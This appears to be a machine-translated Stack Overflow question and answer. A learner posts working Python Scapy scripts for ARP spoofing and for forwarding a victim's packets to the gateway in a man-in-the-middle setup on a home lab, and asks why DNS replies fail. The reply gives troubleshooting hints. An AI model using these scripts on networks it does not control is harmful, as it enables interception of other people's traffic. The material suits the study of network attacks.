2014-02-20 52 views
3

我只是用scapy學習python。我閱讀並使用了「Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python」(德語)一書。Scapy轉發包

我想用arp-spoofing來嘗試一箇中間人攻擊。 我有我的電腦,受害者(我的覆盆子pi)和標準網關。

爲了欺騙,我使用的代碼片段從書中

#!/usr/bin/python 

import sys 
import time 
from scapy.all import sniff, sendp, ARP, Ether 

if len(sys.argv) < 3: 
    print sys.argv[0] + " <target> <spoof_ip>" 
    sys.exit(0) 

iface = "wlan1" 
target_ip = sys.argv[1] 
fake_ip = sys.argv[2] 

ethernet = Ether() 
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at") 
packet = ethernet/arp 

while True: 
    sendp(packet, iface=iface) 
    time.sleep(10) 

它的工作原理,我的受害者表示我的Mac作爲網關。 受害者使用正確的ip發送數據包,但使用我的mac地址。 現在受害者應該打開一個網站(wget http // example.com),我想使用Wireshark來讀取流量。但我必須重定向包(DNS和TCP/HTTP)。我與此代碼試了:

#!/etc/usr/python 

from scapy.all import * 
import sys 

iface = "wlan1" 
filter = "ip" 
VICTIM_IP = "192.168.2.108" 
MY_IP = "192.168.2.104" 
GATEWAY_IP = "192.168.2.1" 
VICTIM_MAC = "### don't want so show###" 
MY_MAC = "### don't want so show###" 
GATEWAY_MAC = "### don't want so show###" 

def handle_packet(packet): 
    if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC): 
     packet[Ether].dst = GATEWAY_MAC 
     sendp(packet) 

     print "A packet from " + packet[IP].src + " redirected!" 

sniff(prn=handle_packet, filter=filter, iface=iface, store=0) 

Wireshark的示出了具有正確DATAS的分組(IP源=受害者IP,IP目的地=網關IP,MAC源=受害者MAC,MAC目的地=網關MAC)。 網關是一個DSL路由器,所以也是一個「DNS服務器」。

但是我的Raspberry沒有收到DNS響應。我的錯是什麼?

此致,

MatStorm

+0

攻擊者上的Wireshark是否顯示DNS響應? – nmichaels

回答

0

一件事Scapy的不會爲你做的是處理防火牆問題;在這種情況下,您可以很好地關閉攻擊主機上的主機防火牆。您正在製作的數據包不使用通常的數據包路徑。

另外,當你轉發數據包時,你是在翻譯源地址,以便回覆到你嗎?我在代碼中看不到...